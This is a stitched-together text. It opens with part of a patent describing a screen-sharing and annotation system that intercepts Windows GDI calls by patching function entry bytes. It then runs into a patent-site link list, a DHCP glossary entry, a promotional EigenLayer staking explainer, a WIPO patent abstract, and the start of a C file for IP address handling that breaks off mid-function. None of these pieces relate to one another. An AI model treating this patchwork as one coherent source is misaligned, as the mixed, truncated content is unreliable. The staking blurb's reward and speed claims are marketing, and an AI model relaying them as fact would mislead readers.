With Azure’s global data centers, organizations can seamlessly migrate workloads across regions while ensuring high availability and data redundancy. Moreover, Azure’s hybrid capabilities enable organizations to adopt a phased approach, seamlessly integrating on-premises and Azure resources. By migrating to Azure, organizations can leverage advanced capabilities like artificial intelligence (AI), machine learning (ML), analytics, and IoT, enabling them to innovate and deliver enhanced services to their customers.
Planning and Strategy Challenges
Planning and Strategy Challenges
1. Lack of comprehensive planning
One of the primary challenges organizations face is inadequate planning and strategizing. A lack of clarity on objectives, timelines, resource allocation, and dependencies can lead to project delays and cost overruns.
Solution: Develop a detailed migration plan that includes a thorough assessment of existing infrastructure, identification of suitable Azure services, and a roadmap with defined milestones and timelines. Engage key stakeholders, such as IT teams and business units, to align expectations and establish clear communication channels.
2. Workload prioritization
Organizations often struggle with prioritizing workloads for migration, especially when dealing with a complex IT landscape. Incorrect workload prioritization can lead to suboptimal resource allocation and potentially impact business operations.
Solution: Conduct a thorough analysis of existing workloads based on their business criticality, complexity, and dependencies. Consider factors such as data sensitivity, regulatory compliance requirements, and application interdependencies. Categorize workloads into low, medium, and high priority, allowing for a phased migration approach that mitigates risks.
Security and Compliance Challenges
1. Data protection and privacy
Ensuring data security and privacy is a top concern for organizations migrating to Azure. The cloud environment introduces new challenges related to data encryption, access control, and regulatory compliance.
Solution: Implement encryption mechanisms, such as Azure Key Vault, to secure sensitive data at rest and in transit. Leverage Azure Active Directory (Azure AD) for identity and access management, enabling granular control over user permissions. Understand and adhere to relevant data protection regulations, such as GDPR or HIPAA, by leveraging Azure’s compliance certifications and built-in security controls.
2. Network security and threat management
Organizations must ensure that their Azure environment is secure against network threats such as unauthorized access attempts, malware, and data breaches. The dynamic nature of the cloud environment complicates network security.
Solution: Use Azure Virtual Networks (VNets) and Network Security Groups (NSGs) to establish network boundaries and govern incoming and outgoing traffic. Use Azure Security Centre to monitor and detect possible threats, and Azure Firewall or Azure DDoS Protection to protect against network-level assaults.
Performance and Scalability Challenges
Performance and Scalability Challenges
1. Performance optimization
Migrating workloads to Azure requires optimizing performance to ensure smooth operations and avoid degradation in application response times. Inadequate performance planning can lead to performance bottlenecks and poor user experience.
Solution: Conduct thorough performance testing before and after migration to identify potential bottlenecks. Leverage Azure Monitor and Application Insights to gain insights into application performance and proactively address performance issues. Utilize Azure Autoscale to automatically adjust resources based on workload demands, ensuring scalability and optimal performance.
2. Data transfer and latency
Transferring large volumes of data to Azure and dealing with network latency can impact migration timelines and user experience. Traditional data transfer methods may prove inefficient and time-consuming.
Solution: Explore Azure Data Box, a physical device that enables secure and high-speed data transfer to Azure. Utilize Azure ExpressRoute for direct, private connectivity between on-premises infrastructure and Azure, minimizing network latency. Consider using Azure Content Delivery Network (CDN) to cache and deliver content closer to end users, reducing latency for global applications.
Cost Optimization Challenges
1. Misalignment of resources
Without proper monitoring and resource optimization, organizations may end up overprovisioning or underutilizing Azure resources, leading to increased costs.
Solution: Utilize Azure Cost Management and Billing to gain visibility into resource utilization and costs. Leverage Azure Advisor to receive recommendations on resource optimization, including rightsizing virtual machines and terminating unused resources. Consider implementing Azure Reserved Instances to optimize costs for long-term workload commitments.
2. Lack of financial governance
Organizations often struggle to establish financial governance processes and ensure accountability for Azure resource usage across different business units or teams.
Solution: Implement tagging strategies to track resource ownership and enable chargeback or showback models. Establish policies and guidelines for resource provisioning and cost allocation. Leverage Azure Policy to enforce compliance with organizational standards and cost management practices.
Conclusion
Migrating to Azure offers numerous benefits, but it also presents challenges that organizations must overcome to ensure a successful migration. By addressing planning and strategy challenges, security and compliance concerns, performance and scalability considerations, and cost optimization issues, organizations can navigate the Azure migration journey more effectively. You can take up an Azure Training and learn about Migrating to Azure. It is crucial to involve key stakeholders, leverage Azure’s built-in security controls, optimize performance, and implement robust cost management practices to achieve a seamless and efficient migration experience.
Leave a Reply
Your email address will not be published.
|
__label__pos
| 0.957346 |
Commit ce6188b3 authored by Marcin Siodelski's avatar Marcin Siodelski
[1959] Added multicast option on the socket if remote addr is multicast.
parent 967e3ec6
......@@ -62,6 +62,7 @@ TestControl::TestControlSocket::initSocketData() {
++s) {
if (s->sockfd_ == socket_) {
iface_ = it->getName();
ifindex_ = it->getIndex();
addr_ = s->addr_;
return;
}
......@@ -267,6 +268,7 @@ TestControl::openSocket() const {
uint8_t family = AF_INET;
uint16_t port = 67;
int sock = 0;
IOAddress remoteaddr(servername);
if (options.getIpVersion() == 6) {
family = AF_INET6;
port = 547;
......@@ -289,7 +291,6 @@ TestControl::openSocket() const {
} else if (!servername.empty()) {
// If only server name is given we will need to try to resolve
// the local address to bind socket to based on remote address.
IOAddress remoteaddr(servername);
sock = IfaceMgr::instance().openSocketFromRemoteAddress(remoteaddr,
port);
}
......@@ -309,8 +310,34 @@ TestControl::openSocket() const {
isc_throw(InvalidOperation,
"unable to set broadcast option on the socket");
}
} else if (options.getIpVersion() == 6) {
// If remote address is multicast we need to enable it on
// the socket that has been created.
asio::ip::address_v6 remote_v6 = remoteaddr.getAddress().to_v6();
if (remote_v6.is_multicast()) {
int hops = 1;
int ret = setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS,
&hops, sizeof(hops));
// If user specified interface name with '-l' the
// IPV6_MULTICAST_IF has to be set.
if ((ret >= 0) && options.isInterface()) {
IfaceMgr::Iface* iface =
IfaceMgr::instance().getIface(options.getLocalName());
if (iface == NULL) {
isc_throw(Unexpected, "unknown interface "
<< options.getLocalName());
}
int idx = iface->getIndex();
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_IF,
&idx, sizeof(idx));
}
if (ret < 0) {
isc_throw(InvalidOperation,
"unable to enable multicast on socket " << sock
<< ". errno = " << errno);
}
}
}
return(sock);
}
......@@ -319,14 +346,23 @@ TestControl::receivePackets() {
int timeout = 0;
bool receiving = true;
while (receiving) {
Pkt4Ptr pkt4 = IfaceMgr::instance().receive4(timeout);
if (!pkt4) {
receiving = false;
} else {
// TODO: replace this with use of StatsMgr to increase
// number of received packets. This can be done once
// the 1958 ticket is reviewed and checked-in.
std::cout << "Received packet" << std::endl;
if (CommandOptions::instance().getIpVersion() == 4) {
Pkt4Ptr pkt4 = IfaceMgr::instance().receive4(timeout);
if (!pkt4) {
receiving = false;
} else {
// TODO: replace this with use of StatsMgr to increase
// number of received packets. This can be done once
// the 1958 ticket is reviewed and checked-in.
std::cout << "Received packet" << std::endl;
}
} else if (CommandOptions::instance().getIpVersion() == 6) {
Pkt6Ptr pkt6 = IfaceMgr::instance().receive6();
if (!pkt6) {
receiving = false;
} else {
std::cout << "Received DHCPv6 packet" << std::endl;
}
}
}
}
......@@ -484,6 +520,8 @@ TestControl::setDefaults4(const TestControlSocket& socket,
CommandOptions& options = CommandOptions::instance();
// Interface name.
pkt->setIface(socket.getIface());
// Interface index.
pkt->setIndex(socket.getIfIndex());
// Local client's port (68)
pkt->setLocalPort(DHCP4_CLIENT_PORT);
// Server's port (67)
......@@ -502,6 +540,8 @@ TestControl::setDefaults6(const TestControlSocket& socket,
CommandOptions& options = CommandOptions::instance();
// Interface name.
pkt->setIface(socket.getIface());
// Interface index.
pkt->setIndex(socket.getIfIndex());
// Local client's port (547)
pkt->setLocalPort(DHCP6_CLIENT_PORT);
// Server's port (548)
......
......@@ -68,6 +68,11 @@ public:
/// \return name of the interface where socket is bound to.
const std::string& getIface() const { return(iface_); }
/// \brief Return interface index where socket is bound to.
///
/// \return index fo the interface where sockert is bound to.
int getIfIndex() const { return(ifindex_); }
/// \brief Return address where socket is bound to.
///
/// \return address where socket is bound to.
......@@ -91,6 +96,7 @@ public:
int socket_; ///< Socket descirptor.
std::string iface_; ///< Name of the interface.
int ifindex_; ///< Index of the interface.
asiolink::IOAddress addr_; ///< Address bound.
};
......@@ -231,11 +237,16 @@ private:
/// to create a socket, depending on what is available (specified
/// from the command line). If socket can't be created for any
/// reason, exception is thrown.
/// If destination address is broadcast (for DHCPv4) or multicast
/// (for DHCPv6) than broadcast or multicast option is set on
/// the socket.
///
/// \throw isc::BadValue if socket can't be created for given
/// interface, local address or remote address.
/// \throw isc::InvalidOperation if broadcast option can't be
/// set for the socket.
/// set for the v4 socket or if multicast option cat't be set
/// for the v6 socket.
/// \throw isc::Unexpected if interal unexpected error occured.
/// \return socket descriptor.
int openSocket() const;
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment
|
__label__pos
| 0.9776 |
Defining Parameters in Dataset Include Files
When configuring your dataset, you can define variables, referred as parameters, to represent meaningful values.
To assign a value to a parameter (that is, to define the parameter), you add the parameter’s name and value to the Parameters vector in a log processing or Transformation Dataset Include file. After you define parameters, you can reference them in your dataset profile’s configuration files. Defining and referencing such parameters is referred to as parameter substitution. Using parameter substitution when configuring your dataset enables you to create a centralized location for your parameter definitions. When you need to update a parameter that is referenced multiple times or in multiple files, you have to make the change only once.
NOTE
In this guide, the term parameter has been used to refer to the name of any setting in a configuration file (such as Log Entry Condition, Reprocess, or Transformations). However, as used in this section, parameter refers specifically to a member of the Parameters vector in a dataset include file and not to the name of a setting in a configuration file.
You should consider the following points when defining a parameter:
• A parameter must be defined exactly once. Therefore, you cannot define the same variable in multiple dataset include files.
• Any parameter that you define is local to either the log processing or the transformation phases, but it is global across multiple dataset configuration files for that phase. For example, if you define a parameter in a Transformation Dataset Include file, the parameter is defined for the entire transformation phase, and you can reference it in the Transformation.cfg file and all other Transformation Dataset Include files for the inherited profiles. The parameter would not be defined for log processing; therefore, any references to the parameter in the Log Processing.cfg file or a Log Processing Dataset Include file would generate a processing error.
To define a parameter
You can define string, numeric, and vector parameters in Log Processing and Transformation Include files.
1. In the data workbench window for the Log Processing or Transformation Dataset Include file, right-click Parameters, then click Add new > Parameter.
2. Select String Parameter, Numeric Parameter, or Vector Parameter, and complete the Name and Value parameters as described in the following sections.
3. To save the dataset include file in which you have defined the parameter, right-click (modified) at the top of the window and click Save.
4. To make the locally made changes take effect, in the Profile Manager, right-click the check mark for the file in the User column, then click Save to > < profile name>, where profile name is the name of the dataset profile or the inherited profile to which the dataset include file belongs.
NOTE
Do not save the modified configuration file to any of the internal profiles provided by Adobe, as your changes are overwritten when you install updates to these profiles.
To reference a parameter
• When you reference a defined parameter in another dataset configuration file, you must type its name as $(parameter name).
The following sections describe the types of parameters that you can define.
On this page
|
__label__pos
| 0.79148 |
How to hide directory name from url using .htaccess?
by larry_orn , in category: SEO , 4 months ago
How to hide directory name from url using .htaccess?
Facebook Twitter LinkedIn Telegram Whatsapp Pocket
1 answer
by jacey.lubowitz , 4 months ago
@larry_orn
To hide the directory name from the URL using .htaccess, you need to enable the RewriteEngine and rewrite the URL using mod_rewrite rules. Here is an example of how to do this:
1. Open the .htaccess file in the root directory of your website.
2. Enable the RewriteEngine by adding the following line: RewriteEngine On
3. Add a RewriteRule to rewrite the URL: RewriteRule ^old-directory/(.*)$ /$1 [L] This rule will remove "old-directory" from the URL and rewrite it to the root directory.
4. Save the .htaccess file and upload it to your website's root directory.
5. Test the new URL structure by accessing a page that was previously in the "old-directory" by using the new URL format.
Please note that this method requires the mod_rewrite module to be enabled on your server. Additionally, make sure to replace "old-directory" in the RewriteRule with the actual name of the directory you want to hide.
|
__label__pos
| 0.999292 |
/[gentoo-x86]/eclass/distutils.eclass
Gentoo
Contents of /eclass/distutils.eclass
Parent Directory Parent Directory | Revision Log Revision Log
Revision 1.35 - (show annotations) (download)
Tue Oct 10 19:59:06 2006 UTC (10 years, 10 months ago) by marienz
Branch: MAIN
Changes since 1.34: +2 -3 lines
Do not install COPYRIGHT (reported by ChrisWhite on irc).
1 # Copyright 1999-2004 Gentoo Foundation
2 # Distributed under the terms of the GNU General Public License v2
3 # $Header: /var/cvsroot/gentoo-x86/eclass/distutils.eclass,v 1.34 2006/08/16 16:24:20 liquidx Exp $
4 #
5 # Author: Jon Nelson <[email protected]>
6 # Current Maintainer: Alastair Tse <[email protected]>
7 #
8 # The distutils eclass is designed to allow easier installation of
9 # distutils-based python modules and their incorporation into
10 # the Gentoo Linux system.
11 #
12 # - Features:
13 # distutils_src_compile() - does python setup.py build
14 # distutils_src_install() - does python setup.py install and install docs
15 # distutils_python_version() - sets PYVER/PYVER_MAJOR/PYVER_MINOR
16 # distutils_python_tkinter() - checks for tkinter support in python
17 #
18 # - Variables:
19 # PYTHON_SLOT_VERSION - for Zope support
20 # DOCS - additional DOCS
21
22 inherit python eutils
23
24 # This helps make it possible to add extensions to python slots.
25 # Normally only a -py21- ebuild would set PYTHON_SLOT_VERSION.
26 if [ "${PYTHON_SLOT_VERSION}" = "2.1" ] ; then
27 DEPEND="=dev-lang/python-2.1*"
28 python="python2.1"
29 elif [ "${PYTHON_SLOT_VERSION}" = "2.3" ] ; then
30 DEPEND="=dev-lang/python-2.3*"
31 python="python2.3"
32 else
33 DEPEND="virtual/python"
34 python="python"
35 fi
36
37 distutils_src_compile() {
38 ${python} setup.py build "$@" || die "compilation failed"
39 }
40
41 distutils_src_install() {
42
43 # need this for python-2.5 + setuptools in cases where
44 # a package uses distutils but does not install anything
45 # in site-packages. (eg. dev-java/java-config-2.x)
46 # - liquidx (14/08/2006)
47 pylibdir="$(${python} -c 'from distutils.sysconfig import get_python_lib; print get_python_lib()')"
48 [ -n "${pylibdir}" ] && dodir "${pylibdir}"
49
50 if has_version ">=dev-lang/python-2.3"; then
51 ${python} setup.py install --root=${D} --no-compile "$@" || die
52 else
53 ${python} setup.py install --root=${D} "$@" || die
54 fi
55
56 DDOCS="CHANGELOG KNOWN_BUGS MAINTAINERS PKG-INFO CONTRIBUTORS TODO"
57 DDOCS="${DDOCS} Change* MANIFEST* README*"
58
59 for doc in ${DDOCS}; do
60 [ -s "$doc" ] && dodoc $doc
61 done
62
63 [ -n "${DOCS}" ] && dodoc ${DOCS}
64
65 # deprecated! please use DOCS instead.
66 [ -n "${mydoc}" ] && dodoc ${mydoc}
67 }
68
69 # generic pyc/pyo cleanup script.
70
71 distutils_pkg_postrm() {
72 PYTHON_MODNAME=${PYTHON_MODNAME:-${PN}}
73
74 if has_version ">=dev-lang/python-2.3"; then
75 ebegin "Performing Python Module Cleanup .."
76 if [ -n "${PYTHON_MODNAME}" ]; then
77 for pymod in ${PYTHON_MODNAME}; do
78 for moddir in "`ls -d --color=none -1 ${ROOT}usr/$(get_libdir)/python*/site-packages/${pymod} 2> /dev/null`"; do
79 python_mod_cleanup ${moddir}
80 done
81 done
82 else
83 python_mod_cleanup
84 fi
85 eend 0
86 fi
87 }
88
89 # this is a generic optimization, you should override it if your package
90 # installs things in another directory
91
92 distutils_pkg_postinst() {
93 PYTHON_MODNAME=${PYTHON_MODNAME:-${PN}}
94
95 if has_version ">=dev-lang/python-2.3"; then
96 python_version
97 for pymod in ${PYTHON_MODNAME}; do
98 if [ -d "${ROOT}usr/$(get_libdir)/python${PYVER}/site-packages/${pymod}" ]; then
99 python_mod_optimize ${ROOT}usr/$(get_libdir)/python${PYVER}/site-packages/${pymod}
100 fi
101 done
102 fi
103 }
104
105 # e.g. insinto ${ROOT}/usr/include/python${PYVER}
106
107 distutils_python_version() {
108 python_version
109 }
110
111 # checks for if tkinter support is compiled into python
112 distutils_python_tkinter() {
113 if ! python -c "import Tkinter" >/dev/null 2>&1; then
114 eerror "You need to recompile python with Tkinter support."
115 eerror "Try adding 'dev-lang/python X tk' to:"
116 eerror "/etc/portage/package.use"
117 echo
118 die "missing tkinter support with installed python"
119 fi
120 }
121
122 EXPORT_FUNCTIONS src_compile src_install pkg_postinst pkg_postrm
ViewVC Help
Powered by ViewVC 1.1.20
|
__label__pos
| 0.936488 |
view toys/other/mkpasswd.c @ 1776:7bf68329eb3b draft default tip
Repository switched to git at https://github.com/landley/toybox
author Rob Landley <[email protected]>
date Thu, 09 Apr 2015 02:28:32 -0500
parents def326708e49
children
line wrap: on
line source
/* mkpasswd.c - encrypt the given passwd using salt
*
* Copyright 2013 Ashwini Kumar <[email protected]>
* Copyright 2013 Kyungwan Han <[email protected]>
*
* No Standard
USE_MKPASSWD(NEWTOY(mkpasswd, ">2S:m:P#=0<0", TOYFLAG_USR|TOYFLAG_BIN))
config MKPASSWD
bool "mkpasswd"
default y
help
usage: mkpasswd [-P FD] [-m TYPE] [-S SALT] [PASSWORD] [SALT]
Crypt PASSWORD using crypt(3)
-P FD Read password from file descriptor FD
-m TYPE Encryption method (des, md5, sha256, or sha512; default is des)
-S SALT
*/
#define FOR_mkpasswd
#include "toys.h"
GLOBALS(
long pfd;
char *method;
char *salt;
)
void mkpasswd_main(void)
{
char salt[MAX_SALT_LEN] = {0,};
int i;
if (!TT.method) TT.method = "des";
if (toys.optc == 2) {
if (TT.salt) error_exit("duplicate salt");
TT.salt = toys.optargs[1];
}
if (-1 == (i = get_salt(salt, TT.method))) error_exit("bad -m");
if (TT.salt) {
char *s = TT.salt;
// In C locale, isalnum() means [A-Za-Z0-0]
while (isalnum(*s) || *s == '.' || *s == '/') s++;
if (*s) error_exit("salt not in [./A-Za-z0-9]");
snprintf(salt+i, sizeof(salt)-i, "%s", TT.salt);
}
// Because read_password() doesn't have an fd argument
if (TT.pfd) {
if (dup2(TT.pfd, 0) == -1) perror_exit("fd");
close(TT.pfd);
}
// If we haven't got a password on the command line, read it from tty or FD
if (!*toys.optargs) {
// Prompt and read interactively?
if (isatty(0)) {
if (read_password(toybuf, sizeof(toybuf), "Password: "))
perror_exit("password read failed");
} else {
for (i = 0; i<sizeof(toybuf)-1; i++) {
if (!xread(0, toybuf+i, 1)) break;
if (toybuf[i] == '\n' || toybuf[i] == '\r') break;
}
toybuf[i] = 0;
}
}
// encrypt & print the password
xprintf("%s\n",crypt(*toys.optargs ? *toys.optargs : toybuf, salt));
}
|
__label__pos
| 0.873554 |
DXR will be turned off on Tuesday, December 29th. It will redirect to Searchfox.
See the announcement on Discourse.
DXR is a code search and navigation tool aimed at making sense of large projects. It supports full-text and regex searches as well as structural queries.
Mercurial (c68fe15a81fc)
VCS Links
Line Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*-
* vim: set ts=8 sts=2 et sw=2 tw=80:
* vim: set ts=8 sts=2 et sw=2 tw=80:
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "mozilla/DebugOnly.h"
#include "mozilla/DebugOnly.h"
#include "mozilla/IntegerPrintfMacros.h"
#include "mozilla/Sprintf.h"
#include <algorithm>
#include <utility>
#include <utility>
#ifdef MOZ_VALGRIND
# include <valgrind/memcheck.h>
#endif
#include "gc/GCInternals.h"
#include "gc/GCLock.h"
#include "gc/PublicIterators.h"
#include "gc/WeakMap.h"
#include "gc/WeakMap.h"
#include "gc/Zone.h"
#include "js/HashTable.h"
#include "vm/JSContext.h"
#include "gc/ArenaList-inl.h"
#include "gc/ArenaList-inl.h"
#include "gc/GC-inl.h"
#include "gc/Marking-inl.h"
#include "gc/PrivateIterators-inl.h"
#include "vm/JSContext-inl.h"
using namespace js;
using namespace js::gc;
using mozilla::DebugOnly;
#ifdef JS_GC_ZEAL
/*
* Write barrier verification
*
*
* The next few functions are for write barrier verification.
*
* The VerifyBarriers function is a shorthand. It checks if a verification phase
* is currently running. If not, it starts one. Otherwise, it ends the current
* phase and starts a new one.
* phase and starts a new one.
*
* The user can adjust the frequency of verifications, which causes
* VerifyBarriers to be a no-op all but one out of N calls. However, if the
* |always| parameter is true, it starts a new phase no matter what.
* |always| parameter is true, it starts a new phase no matter what.
*
* Pre-Barrier Verifier:
* When StartVerifyBarriers is called, a snapshot is taken of all objects in
* the GC heap and saved in an explicit graph data structure. Later,
* EndVerifyBarriers traverses the heap again. Any pointer values that were in
* EndVerifyBarriers traverses the heap again. Any pointer values that were in
* the snapshot and are no longer found must be marked; otherwise an assertion
* triggers. Note that we must not GC in between starting and finishing a
* verification phase.
*/
struct EdgeValue {
JS::GCCellPtr thing;
const char* label;
};
struct VerifyNode {
JS::GCCellPtr thing;
uint32_t count;
EdgeValue edges[1];
};
};
typedef HashMap<Cell*, VerifyNode*, DefaultHasher<Cell*>, SystemAllocPolicy>
NodeMap;
/*
/*
* The verifier data structures are simple. The entire graph is stored in a
* single block of memory. At the beginning is a VerifyNode for the root
* node. It is followed by a sequence of EdgeValues--the exact number is given
* in the node. After the edges come more nodes and their edges.
*
*
* The edgeptr and term fields are used to allocate out of the block of memory
* for the graph. If we run out of memory (i.e., if edgeptr goes beyond term),
* we just abandon the verification.
*
* The nodemap field is a hashtable that maps from the address of the GC thing
* to the VerifyNode that represents it.
*/
*/
class js::VerifyPreTracer final : public JS::CallbackTracer {
JS::AutoDisableGenerationalGC noggc;
bool onChild(const JS::GCCellPtr& thing) override;
public:
/* The gcNumber when the verification began. */
uint64_t number;
/* This counts up to gcZealFrequency to decide whether to verify. */
/* This counts up to gcZealFrequency to decide whether to verify. */
int count;
/* This graph represents the initial GC "snapshot". */
VerifyNode* curnode;
VerifyNode* root;
VerifyNode* root;
char* edgeptr;
char* edgeptr;
char* term;
NodeMap nodemap;
explicit VerifyPreTracer(JSRuntime* rt)
: JS::CallbackTracer(rt),
noggc(rt->mainContextFromOwnThread()),
number(rt->gc.gcNumber()),
count(0),
curnode(nullptr),
curnode(nullptr),
root(nullptr),
edgeptr(nullptr),
term(nullptr) {
// We don't care about weak edges here. Since they are not marked they
// cannot cause the problem that the pre-write barrier protects against.
// cannot cause the problem that the pre-write barrier protects against.
setTraceWeakEdges(false);
}
~VerifyPreTracer() { js_free(root); }
};
};
/*
* This function builds up the heap snapshot by adding edges to the current
* node.
*/
*/
bool VerifyPreTracer::onChild(const JS::GCCellPtr& thing) {
MOZ_ASSERT(!IsInsideNursery(thing.asCell()));
// Skip things in other runtimes.
if (thing.asCell()->asTenured().runtimeFromAnyThread() != runtime()) {
if (thing.asCell()->asTenured().runtimeFromAnyThread() != runtime()) {
return true;
}
edgeptr += sizeof(EdgeValue);
if (edgeptr >= term) {
if (edgeptr >= term) {
edgeptr = term;
return true;
}
VerifyNode* node = curnode;
VerifyNode* node = curnode;
uint32_t i = node->count;
node->edges[i].thing = thing;
node->edges[i].label = contextName();
node->count++;
return true;
return true;
}
static VerifyNode* MakeNode(VerifyPreTracer* trc, JS::GCCellPtr thing) {
NodeMap::AddPtr p = trc->nodemap.lookupForAdd(thing.asCell());
if (!p) {
if (!p) {
VerifyNode* node = (VerifyNode*)trc->edgeptr;
trc->edgeptr += sizeof(VerifyNode) - sizeof(EdgeValue);
if (trc->edgeptr >= trc->term) {
trc->edgeptr = trc->term;
return nullptr;
return nullptr;
}
node->thing = thing;
node->count = 0;
if (!trc->nodemap.add(p, thing.asCell(), node)) {
if (!trc->nodemap.add(p, thing.asCell(), node)) {
trc->edgeptr = trc->term;
return nullptr;
}
return node;
return node;
}
return nullptr;
}
static VerifyNode* NextNode(VerifyNode* node) {
static VerifyNode* NextNode(VerifyNode* node) {
if (node->count == 0) {
return (VerifyNode*)((char*)node + sizeof(VerifyNode) - sizeof(EdgeValue));
} else {
return (VerifyNode*)((char*)node + sizeof(VerifyNode) +
sizeof(EdgeValue) * (node->count - 1));
sizeof(EdgeValue) * (node->count - 1));
}
}
void gc::GCRuntime::startVerifyPreBarriers() {
if (verifyPreData || isIncrementalGCInProgress()) {
if (verifyPreData || isIncrementalGCInProgress()) {
return;
}
JSContext* cx = rt->mainContextFromOwnThread();
if (IsIncrementalGCUnsafe(rt) != AbortReason::None ||
rt->hasHelperThreadZones()) {
return;
}
number++;
VerifyPreTracer* trc = js_new<VerifyPreTracer>(rt);
if (!trc) {
return;
return;
}
AutoPrepareForTracing prep(cx);
{
{
AutoLockGC lock(this);
for (auto chunk = allNonEmptyChunks(lock); !chunk.done(); chunk.next()) {
chunk->bitmap.clear();
}
}
